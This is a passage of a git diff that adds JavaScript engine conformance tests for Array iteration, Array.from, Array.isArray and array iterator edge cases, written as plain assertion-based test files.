+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ arr['v_' + i] = i;
+ sum += doIter(fun, arr);
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestChangeManyArrayShape();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/for_of_2.js b/js/src/tests/ecma_6/Array/for_of_2.js
new file mode 100644
index 000000000..1d5dd81fc
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/for_of_2.js
@@ -0,0 +1,58 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+//
+// Check case where ArrayIterator.prototype.next changes in the middle of iteration.
+//
+function TestChangeArrayIteratorNext() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var GET_COUNT = 0;
+ function getter() {
+ GET_COUNT++;
+ if (GET_COUNT == MID)
+ iterProto.next = NewNext;
+ return M2;
+ }
+
+ var iter = ([])[Symbol.iterator]();
+ var iterProto = Object.getPrototypeOf(iter);
+ var OldNext = iterProto.next;
+ var NewNext = function () {
+ return OldNext.apply(this, arguments);
+ };
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ var M2 = (M/2)|0;
+ Object.defineProperty(arr, M2, {'get':getter});
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestChangeArrayIteratorNext();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/for_of_3.js b/js/src/tests/ecma_6/Array/for_of_3.js
new file mode 100644
index 000000000..c90eb1f00
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/for_of_3.js
@@ -0,0 +1,60 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+//
+// Check array length increases changes during iteration.
+//
+function TestIncreaseArrayLength() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var GET_COUNT = 0;
+ function getter() {
+ GET_COUNT++;
+ if (GET_COUNT == MID) {
+ ARR_SUM += arr.length;
+ arr.push(arr.length);
+ }
+ return M2;
+ }
+
+ var iter = ([])[Symbol.iterator]();
+ var iterProto = Object.getPrototypeOf(iter);
+ var OldNext = iterProto.next;
+ var NewNext = function () {
+ return OldNext.apply(this, arguments);
+ };
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ var M2 = (M/2)|0;
+ Object.defineProperty(arr, M2, {'get':getter});
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ sum += doIter(fun, arr);
+ TRUE_SUM += ARR_SUM;
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestIncreaseArrayLength();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/for_of_4.js b/js/src/tests/ecma_6/Array/for_of_4.js
new file mode 100644
index 000000000..4572727a1
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/for_of_4.js
@@ -0,0 +1,64 @@
+// Test corner cases of for-of iteration over Arrays.
+// The current SetObject::construct method uses a ForOfIterator to extract
+// values from the array, so we use that mechanism to test ForOfIterator here.
+
+//
+// Check array length decreases changes during iteration.
+//
+function TestDecreaseArrayLength() {
+ function doIter(f, arr) {
+ return f(...new Set(arr));
+ }
+
+ function fun(a, b, c) {
+ var result = 0;
+ for (var i = 0; i < arguments.length; i++)
+ result += arguments[i];
+ return result;
+ }
+
+ var GET_COUNT = 0;
+ function getter() {
+ GET_COUNT++;
+ if (GET_COUNT == MID) {
+ arr.length = 0;
+ }
+ return M2;
+ }
+
+ var iter = ([])[Symbol.iterator]();
+ var iterProto = Object.getPrototypeOf(iter);
+ var OldNext = iterProto.next;
+ var NewNext = function () {
+ return OldNext.apply(this, arguments);
+ };
+
+ var TRUE_SUM = 0;
+ var N = 100;
+ var MID = N/2;
+ var M = 3;
+ var arr = new Array(M);
+ var ARR_SUM = 0;
+ for (var j = 0; j < M; j++) {
+ arr[j] = j;
+ ARR_SUM += j;
+ }
+ var M2 = (M/2)|0;
+ Object.defineProperty(arr, M2, {'get':getter});
+
+ var sum = 0;
+ for (var i = 0; i < N; i++) {
+ var oldLen = arr.length;
+ sum += doIter(fun, arr);
+ var newLen = arr.length;
+ if (oldLen == newLen)
+ TRUE_SUM += arr.length > 0 ? ARR_SUM : 0;
+ else
+ TRUE_SUM += 1
+ }
+ assertEq(sum, TRUE_SUM);
+}
+TestDecreaseArrayLength();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/from_basics.js b/js/src/tests/ecma_6/Array/from_basics.js
new file mode 100644
index 000000000..623207a41
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_basics.js
@@ -0,0 +1,51 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from copies arrays.
+var src = [1, 2, 3], copy = Array.from(src);
+assertEq(copy === src, false);
+assertEq(Array.isArray(copy), true);
+assertDeepEq(copy, src);
+
+// Non-element properties are not copied.
+var a = [0, 1];
+a.name = "lisa";
+assertDeepEq(Array.from(a), [0, 1]);
+
+// It's a shallow copy.
+src = [[0], [1]];
+copy = Array.from(src);
+assertEq(copy[0], src[0]);
+assertEq(copy[1], src[1]);
+
+// Array.from can copy non-iterable objects, if they're array-like.
+src = {0: "zero", 1: "one", length: 2};
+copy = Array.from(src);
+assertEq(Array.isArray(copy), true);
+assertDeepEq(copy, ["zero", "one"]);
+
+// Properties past the .length are not copied.
+src = {0: "zero", 1: "one", 2: "two", 9: "nine", name: "lisa", length: 2};
+assertDeepEq(Array.from(src), ["zero", "one"]);
+
+// If an object has neither an @@iterator method nor .length,
+// then it's treated as zero-length.
+assertDeepEq(Array.from({}), []);
+
+// Source object property order doesn't matter.
+src = {length: 2, 1: "last", 0: "first"};
+assertDeepEq(Array.from(src), ["first", "last"]);
+
+// Array.from does not preserve holes.
+assertDeepEq(Array.from(Array(3)), [undefined, undefined, undefined]);
+assertDeepEq(Array.from([, , 2, 3]), [undefined, undefined, 2, 3]);
+assertDeepEq(Array.from([0, , , ,]), [0, undefined, undefined, undefined]);
+
+// Even on non-iterable objects.
+assertDeepEq(Array.from({length: 4}), [undefined, undefined, undefined, undefined]);
+
+// Array.from should coerce negative lengths to zero.
+assertDeepEq(Array.from({length: -1}), []);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_constructor.js b/js/src/tests/ecma_6/Array/from_constructor.js
new file mode 100644
index 000000000..6846ef09a
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_constructor.js
@@ -0,0 +1,56 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from can be applied to any constructor.
+// For example, the Date builtin constructor.
+var d = Array.from.call(Date, ["A", "B"]);
+assertEq(Array.isArray(d), false);
+assertEq(Object.prototype.toString.call(d), "[object Date]");
+assertEq(Object.getPrototypeOf(d), Date.prototype);
+assertEq(d.length, 2);
+assertEq(d[0], "A");
+assertEq(d[1], "B");
+
+// Or Object.
+var obj = Array.from.call(Object, []);
+assertEq(Array.isArray(obj), false);
+assertEq(Object.getPrototypeOf(obj), Object.prototype);
+assertEq(Object.getOwnPropertyNames(obj).join(","), "length");
+assertEq(obj.length, 0);
+
+// Or any JS function.
+function C(arg) {
+ this.args = arguments;
+}
+var c = Array.from.call(C, {length: 1, 0: "zero"});
+assertEq(c instanceof C, true);
+assertEq(c.args.length, 1);
+assertEq(c.args[0], 1);
+assertEq(c.length, 1);
+assertEq(c[0], "zero");
+
+// If the 'this' value passed to Array.from is not a constructor,
+// a plain Array is created.
+var arr = [3, 4, 5];
+var nonconstructors = [
+ {}, Math, Object.getPrototypeOf, undefined, 17,
+ () => ({}) // arrow functions are not constructors
+];
+for (var v of nonconstructors) {
+ obj = Array.from.call(v, arr);
+ assertEq(Array.isArray(obj), true);
+ assertDeepEq(obj, arr);
+}
+
+// Array.from does not get confused if global.Array is replaced with another
+// constructor.
+function NotArray() {
+}
+var RealArray = Array;
+NotArray.from = Array.from;
+Array = NotArray;
+assertEq(RealArray.from([1]) instanceof RealArray, true);
+assertEq(NotArray.from([1]) instanceof NotArray, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_errors.js b/js/src/tests/ecma_6/Array/from_errors.js
new file mode 100644
index 000000000..cbf0eb195
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_errors.js
@@ -0,0 +1,152 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from throws if the argument is undefined or null.
+assertThrowsInstanceOf(() => Array.from(), TypeError);
+assertThrowsInstanceOf(() => Array.from(undefined), TypeError);
+assertThrowsInstanceOf(() => Array.from(null), TypeError);
+
+// Array.from throws if an element can't be defined on the new object.
+function ObjectWithReadOnlyElement() {
+ Object.defineProperty(this, "0", {value: null});
+ this.length = 0;
+}
+ObjectWithReadOnlyElement.from = Array.from;
+assertDeepEq(ObjectWithReadOnlyElement.from([]), new ObjectWithReadOnlyElement);
+assertThrowsInstanceOf(() => ObjectWithReadOnlyElement.from([1]), TypeError);
+
+// The same, but via preventExtensions.
+function InextensibleObject() {
+ Object.preventExtensions(this);
+}
+InextensibleObject.from = Array.from;
+assertThrowsInstanceOf(() => InextensibleObject.from([1]), TypeError);
+
+// We will now test this property, that Array.from throws if the .length can't
+// be assigned, using several different kinds of object.
+var obj;
+function init(self) {
+ obj = self;
+ self[0] = self[1] = self[2] = self[3] = 0;
+}
+
+function testUnsettableLength(C, Exc) {
+ if (Exc === undefined)
+ Exc = TypeError; // the usual expected exception type
+ C.from = Array.from;
+
+ obj = null;
+ assertThrowsInstanceOf(() => C.from([]), Exc);
+ assertEq(obj instanceof C, true);
+ for (var i = 0; i < 4; i++)
+ assertEq(obj[0], 0);
+
+ obj = null;
+ assertThrowsInstanceOf(() => C.from([0, 10, 20, 30]), Exc);
+ assertEq(obj instanceof C, true);
+ for (var i = 0; i < 4; i++)
+ assertEq(obj[i], i * 10);
+}
+
+// Array.from throws if the new object's .length can't be assigned because
+// there is no .length and the object is inextensible.
+function InextensibleObject4() {
+ init(this);
+ Object.preventExtensions(this);
+}
+testUnsettableLength(InextensibleObject4);
+
+// Array.from throws if the new object's .length can't be assigned because it's
+// read-only.
+function ObjectWithReadOnlyLength() {
+ init(this);
+ Object.defineProperty(this, "length", {configurable: true, writable: false, value: 4});
+}
+testUnsettableLength(ObjectWithReadOnlyLength);
+
+// The same, but using a builtin type.
+Uint8Array.from = Array.from;
+assertThrowsInstanceOf(() => Uint8Array.from([]), TypeError);
+
+// Array.from throws if the new object's .length can't be assigned because it
+// inherits a readonly .length along the prototype chain.
+function ObjectWithInheritedReadOnlyLength() {
+ init(this);
+}
+Object.defineProperty(ObjectWithInheritedReadOnlyLength.prototype,
+ "length",
+ {configurable: true, writable: false, value: 4});
+testUnsettableLength(ObjectWithInheritedReadOnlyLength);
+
+// The same, but using an object with a .length getter but no setter.
+function ObjectWithGetterOnlyLength() {
+ init(this);
+ Object.defineProperty(this, "length", {configurable: true, get: () => 4});
+}
+testUnsettableLength(ObjectWithGetterOnlyLength);
+
+// The same, but with a setter that throws.
+function ObjectWithThrowingLengthSetter() {
+ init(this);
+ Object.defineProperty(this, "length", {
+ configurable: true,
+ get: () => 4,
+ set: () => { throw new RangeError("surprise!"); }
+ });
+}
+testUnsettableLength(ObjectWithThrowingLengthSetter, RangeError);
+
+// Array.from throws if mapfn is neither callable nor undefined.
+assertThrowsInstanceOf(() => Array.from([3, 4, 5], {}), TypeError);
+assertThrowsInstanceOf(() => Array.from([3, 4, 5], "also not a function"), TypeError);
+assertThrowsInstanceOf(() => Array.from([3, 4, 5], null), TypeError);
+
+// Even if the function would not have been called.
+assertThrowsInstanceOf(() => Array.from([], JSON), TypeError);
+
+// If mapfn is not undefined and not callable, the error happens before anything else.
+// Before calling the constructor, before touching the arrayLike.
+var log = "";
+function C() {
+ log += "C";
+ obj = this;
+}
+var p = new Proxy({}, {
+ has: function () { log += "1"; },
+ get: function () { log += "2"; },
+ getOwnPropertyDescriptor: function () { log += "3"; }
+});
+assertThrowsInstanceOf(() => Array.from.call(C, p, {}), TypeError);
+assertEq(log, "");
+
+// If mapfn throws, the new object has already been created.
+var arrayish = {
+ get length() { log += "l"; return 1; },
+ get 0() { log += "0"; return "q"; }
+};
+log = "";
+var exc = {surprise: "ponies"};
+assertThrowsValue(() => Array.from.call(C, arrayish, () => { throw exc; }), exc);
+assertEq(log, "lC0");
+assertEq(obj instanceof C, true);
+
+// It's a TypeError if the @@iterator property is a primitive (except null and undefined).
+for (var primitive of ["foo", 17, Symbol(), true]) {
+ assertThrowsInstanceOf(() => Array.from({[Symbol.iterator] : primitive}), TypeError);
+}
+assertDeepEq(Array.from({[Symbol.iterator]: null}), []);
+assertDeepEq(Array.from({[Symbol.iterator]: undefined}), []);
+
+// It's a TypeError if the iterator's .next() method returns a primitive.
+for (var primitive of [undefined, null, 17]) {
+ assertThrowsInstanceOf(
+ () => Array.from({
+ [Symbol.iterator]() {
+ return {next() { return primitive; }};
+ }
+ }),
+ TypeError);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_iterable.js b/js/src/tests/ecma_6/Array/from_iterable.js
new file mode 100644
index 000000000..568181961
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_iterable.js
@@ -0,0 +1,50 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from works on arguments objects.
+(function () {
+ assertDeepEq(Array.from(arguments), ["arg0", "arg1", undefined]);
+})("arg0", "arg1", undefined);
+
+// If an object has both .length and [@@iterator] properties, [@@iterator] is used.
+var a = ['a', 'e', 'i', 'o', 'u'];
+a[Symbol.iterator] = function* () {
+ for (var i = 5; i--; )
+ yield this[i];
+};
+
+var log = '';
+function f(x) {
+ log += x;
+ return x + x;
+}
+
+var b = Array.from(a, f);
+assertDeepEq(b, ['uu', 'oo', 'ii', 'ee', 'aa']);
+assertEq(log, 'uoiea');
+
+// In fact, if [@@iterator] is present, .length isn't queried at all.
+var pa = new Proxy(a, {
+ has: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (has)");
+ return id in target;
+ },
+ get: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (get)");
+ return target[id];
+ },
+ getOwnPropertyDescriptor: function (target, id) {
+ if (id === "length")
+ throw new Error(".length should not be queried (getOwnPropertyDescriptor)");
+ return Object.getOwnPropertyDescriptor(target, id)
+ }
+});
+log = "";
+b = Array.from(pa, f);
+assertDeepEq(b, ['uu', 'oo', 'ii', 'ee', 'aa']);
+assertEq(log, 'uoiea');
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_length_setter.js b/js/src/tests/ecma_6/Array/from_length_setter.js
new file mode 100644
index 000000000..43f35f73e
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_length_setter.js
@@ -0,0 +1,13 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from calls a length setter if present.
+var hits = 0;
+function C() {}
+C.prototype = {set length(v) { hits++; }};
+C.from = Array.from;
+var copy = C.from(["A", "B"]);
+assertEq(hits, 1);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_mapping.js b/js/src/tests/ecma_6/Array/from_mapping.js
new file mode 100644
index 000000000..568b9d6d7
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_mapping.js
@@ -0,0 +1,41 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// If the mapfn argument to Array.from is undefined, don't map.
+assertDeepEq(Array.from([3, 4, 5], undefined), [3, 4, 5]);
+assertDeepEq(Array.from([4, 5, 6], undefined, Math), [4, 5, 6]);
+
+// mapfn is called with two arguments: value and index.
+var log = [];
+function f() {
+ log.push(Array.from(arguments));
+ return log.length;
+}
+assertDeepEq(Array.from(['a', 'e', 'i', 'o', 'u'], f), [1, 2, 3, 4, 5]);
+assertDeepEq(log, [['a', 0], ['e', 1], ['i', 2], ['o', 3], ['u', 4]]);
+
+// If the object to be copied is non-iterable, mapfn is still called with two
+// arguments.
+log = [];
+assertDeepEq(Array.from({0: "zero", 1: "one", length: 2}, f), [1, 2]);
+assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+// If the object to be copied is iterable and the constructor is not Array,
+// mapfn is still called with two arguments.
+log = [];
+function C() {}
+C.from = Array.from;
+var c = new C;
+c[0] = 1;
+c[1] = 2;
+c.length = 2;
+assertDeepEq(C.from(["zero", "one"], f), c);
+assertDeepEq(log, [["zero", 0], ["one", 1]]);
+
+// The mapfn is called even if the value to be mapped is undefined.
+assertDeepEq(Array.from([0, 1, , 3], String), ["0", "1", "undefined", "3"]);
+var arraylike = {length: 4, "0": 0, "1": 1, "3": 3};
+assertDeepEq(Array.from(arraylike, String), ["0", "1", "undefined", "3"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_primitive.js b/js/src/tests/ecma_6/Array/from_primitive.js
new file mode 100644
index 000000000..e3f68d8bc
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_primitive.js
@@ -0,0 +1,21 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+for (let primitive of [true, 3.14, "hello", Symbol()]) {
+ let prototype = Object.getPrototypeOf(primitive);
+
+ Object.defineProperty(prototype, Symbol.iterator, {
+ configurable: true,
+ get() {
+ "use strict";
+ assertEq(this, primitive);
+ return () => [this][Symbol.iterator]();
+ },
+ });
+ assertEq(Array.from(primitive)[0], primitive);
+
+ delete prototype[Symbol.iterator];
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_proxy.js b/js/src/tests/ecma_6/Array/from_proxy.js
new file mode 100644
index 000000000..c3c82d0b7
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_proxy.js
@@ -0,0 +1,55 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Two tests involving Array.from and a Proxy.
+var log = [];
+function LoggingProxy(target) {
+ var h = {
+ defineProperty: function (t, id) {
+ log.push("define", id);
+ return true;
+ },
+ has: function (t, id) {
+ log.push("has", id);
+ return id in t;
+ },
+ get: function (t, id) {
+ log.push("get", id);
+ return t[id];
+ },
+ set: function (t, id, v) {
+ log.push("set", id);
+ t[id] = v;
+ return true;
+ }
+ };
+ return new Proxy(target || [], h);
+}
+
+// When the new object created by Array.from is a Proxy,
+// Array.from calls handler.defineProperty to create new elements
+// but handler.set to set the length.
+LoggingProxy.from = Array.from;
+LoggingProxy.from([3, 4, 5]);
+assertDeepEq(log, ["define", "0", "define", "1", "define", "2", "set", "length"]);
+
+// When the argument passed to Array.from is a Proxy, Array.from
+// calls handler.get on it.
+log = [];
+assertDeepEq(Array.from(new LoggingProxy([3, 4, 5])), [3, 4, 5]);
+assertDeepEq(log, ["get", Symbol.iterator,
+ "get", "length", "get", "0",
+ "get", "length", "get", "1",
+ "get", "length", "get", "2",
+ "get", "length"]);
+
+// Array-like iteration only gets the length once.
+log = [];
+var arr = [5, 6, 7];
+arr[Symbol.iterator] = undefined;
+assertDeepEq(Array.from(new LoggingProxy(arr)), [5, 6, 7]);
+assertDeepEq(log, ["get", Symbol.iterator,
+ "get", "length", "get", "0", "get", "1", "get", "2"]);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_realms.js b/js/src/tests/ecma_6/Array/from_realms.js
new file mode 100644
index 000000000..e3a863606
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_realms.js
@@ -0,0 +1,37 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+if (typeof newGlobal === 'function') {
+ // G.Array.from, where G is any global, produces an array whose prototype
+ // is G.Array.prototype.
+ var g = newGlobal();
+ var ga = g.Array.from([1, 2, 3]);
+ assertEq(ga instanceof g.Array, true);
+
+ // Even if G.Array is not passed in as the 'this' value to the call.
+ var from = g.Array.from
+ var ga2 = from([1, 2, 3]);
+ assertEq(ga2 instanceof g.Array, true);
+
+ // Array.from can be applied to a constructor from another realm.
+ var p = Array.from.call(g.Array, [1, 2, 3]);
+ assertEq(p instanceof g.Array, true);
+ var q = g.Array.from.call(Array, [3, 4, 5]);
+ assertEq(q instanceof Array, true);
+
+ // The default 'this' value received by a non-strict mapping function is
+ // that function's global, not Array.from's global or the caller's global.
+ var h = newGlobal(), result = undefined;
+ h.mainGlobal = this;
+ h.eval("function f() { mainGlobal.result = this; }");
+ g.Array.from.call(Array, [5, 6, 7], h.f);
+ // (Give each global in the test a name, for better error messages. But use
+ // globalName, because window.name is complicated.)
+ this.globalName = "main";
+ g.globalName = "g";
+ h.globalName = "h";
+ assertEq(result.globalName, "h");
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_string.js b/js/src/tests/ecma_6/Array/from_string.js
new file mode 100644
index 000000000..3ad19e253
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_string.js
@@ -0,0 +1,23 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Array.from on a string iterates over the string.
+assertDeepEq(Array.from("test string"),
+ ['t', 'e', 's', 't', ' ', 's', 't', 'r', 'i', 'n', 'g']);
+
+// Array.from on a string handles surrogate pairs correctly.
+var gclef = "\uD834\uDD1E"; // U+1D11E MUSICAL SYMBOL G CLEF
+assertDeepEq(Array.from(gclef), [gclef]);
+assertDeepEq(Array.from(gclef + " G"), [gclef, " ", "G"]);
+
+// Array.from on a string calls the @@iterator method.
+String.prototype[Symbol.iterator] = function* () { yield 1; yield 2; };
+assertDeepEq(Array.from("anything"), [1, 2]);
+
+// If the iterator method is deleted, Strings are still arraylike.
+delete String.prototype[Symbol.iterator];
+assertDeepEq(Array.from("works"), ['w', 'o', 'r', 'k', 's']);
+assertDeepEq(Array.from(gclef), ['\uD834', '\uDD1E']);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_surfaces.js b/js/src/tests/ecma_6/Array/from_surfaces.js
new file mode 100644
index 000000000..680b64817
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_surfaces.js
@@ -0,0 +1,13 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// Check superficial features of Array.from.
+var desc = Object.getOwnPropertyDescriptor(Array, "from");
+assertEq(desc.configurable, true);
+assertEq(desc.enumerable, false);
+assertEq(desc.writable, true);
+assertEq(Array.from.length, 1);
+assertThrowsInstanceOf(() => new Array.from(), TypeError); // not a constructor
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/from_this.js b/js/src/tests/ecma_6/Array/from_this.js
new file mode 100644
index 000000000..978c90b87
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/from_this.js
@@ -0,0 +1,48 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+// The third argument to Array.from is passed as the 'this' value to the
+// mapping function.
+var hits = 0, obj = {};
+function f(x) {
+ assertEq(this, obj);
+ hits++;
+}
+Array.from(["a", "b", "c"], f, obj);
+assertEq(hits, 3);
+
+// Without an argument, undefined is passed...
+hits = 0;
+function gs(x) {
+ "use strict";
+ assertEq(this, undefined);
+ hits++;
+}
+Array.from("def", gs);
+assertEq(hits, 3);
+
+// ...and if the mapping function is non-strict, that means the global is
+// passed.
+var global = this;
+hits = 0;
+function g(x) {
+ assertEq(this, global);
+ hits++;
+}
+Array.from("ghi", g);
+assertEq(hits, 3);
+
+// A primitive value can be passed.
+for (var v of [0, "str", undefined]) {
+ hits = 0;
+ var mapfn = function h(x) {
+ "use strict";
+ assertEq(this, v);
+ hits++;
+ };
+ Array.from("pq", mapfn, v);
+ assertEq(hits, 2);
+}
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0);
diff --git a/js/src/tests/ecma_6/Array/getter-name.js b/js/src/tests/ecma_6/Array/getter-name.js
new file mode 100644
index 000000000..3829c729b
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/getter-name.js
@@ -0,0 +1,9 @@
+var BUGNUMBER = 1180290;
+var summary = 'Array getters should have get prefix';
+
+print(BUGNUMBER + ": " + summary);
+
+assertEq(Object.getOwnPropertyDescriptor(Array, Symbol.species).get.name, "get [Symbol.species]");
+
+if (typeof reportCompare === 'function')
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/indexOf-never-returns-negative-zero.js b/js/src/tests/ecma_6/Array/indexOf-never-returns-negative-zero.js
new file mode 100644
index 000000000..0b39bf0a1
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/indexOf-never-returns-negative-zero.js
@@ -0,0 +1,4 @@
+assertEq([17].indexOf(17, -0), +0);
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/isArray.js b/js/src/tests/ecma_6/Array/isArray.js
new file mode 100644
index 000000000..b752ad54e
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/isArray.js
@@ -0,0 +1,67 @@
+/* Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/ */
+
+var global = this;
+var otherGlobal = newGlobal();
+
+var thisGlobal = () => global;
+var alternateGlobals = (function(i) {
+ return () => (i++ % 2) === 0 ? global : otherGlobal;
+})(0);
+
+function performTests(pickGlobal)
+{
+ // Base case.
+ assertEq(Array.isArray([]), true);
+
+ // Simple case: proxy to an array.
+ var proxy = new (pickGlobal()).Proxy([], {});
+ assertEq(Array.isArray(proxy), true);
+
+ // Recursive proxy ultimately terminating in an array.
+ for (var i = 0; i < 10; i++) {
+ proxy = new (pickGlobal()).Proxy(proxy, {});
+ assertEq(Array.isArray(proxy), true);
+ }
+
+ // Revocable proxy to an array.
+ var revocable = (pickGlobal()).Proxy.revocable([], {});
+ proxy = revocable.proxy;
+ assertEq(Array.isArray(proxy), true);
+
+ // Recursive proxy ultimately terminating in a revocable proxy to an array.
+ for (var i = 0; i < 10; i++) {
+ proxy = new (pickGlobal()).Proxy(proxy, {});
+ assertEq(Array.isArray(proxy), true);
+ }
+
+ // Revoked proxy to (formerly) an array.
+ revocable.revoke();
+ assertThrowsInstanceOf(() => Array.isArray(revocable.proxy), TypeError);
+
+ // Recursive proxy ultimately terminating in a revoked proxy to an array.
+ assertThrowsInstanceOf(() => Array.isArray(proxy), TypeError);
+
+}
+
+performTests(thisGlobal);
+performTests(alternateGlobals);
+
+function crossGlobalTest()
+{
+ var array = new otherGlobal.Array();
+
+ // Array from another global.
+ assertEq(Array.isArray(array), true);
+
+ // Proxy to an array from another global.
+ assertEq(Array.isArray(new Proxy(array, {})), true);
+
+ // Other-global proxy to an array from that selfsame global.
+ assertEq(Array.isArray(new otherGlobal.Proxy(array, {})), true);
+}
+
+crossGlobalTest();
+
+if (typeof reportCompare === "function")
+ reportCompare(true, true);
diff --git a/js/src/tests/ecma_6/Array/iterator_edge_cases.js b/js/src/tests/ecma_6/Array/iterator_edge_cases.js
new file mode 100644
index 000000000..156aaba5f
--- /dev/null
+++ b/js/src/tests/ecma_6/Array/iterator_edge_cases.js
@@ -0,0 +1,50 @@
+// Test that we can't confuse %ArrayIteratorPrototype% for an
+// ArrayIterator object.
+function TestArrayIteratorPrototypeConfusion() {
+ var iter = [][Symbol.iterator]();
+ try {
+ iter.next.call(Object.getPrototypeOf(iter))
+ throw new Error("Call did not throw");
+ } catch (e) {
+ assertEq(e instanceof TypeError, true);
+ assertEq(e.message, "next method called on incompatible Array Iterator");
+ }
+}
+TestArrayIteratorPrototypeConfusion();
+
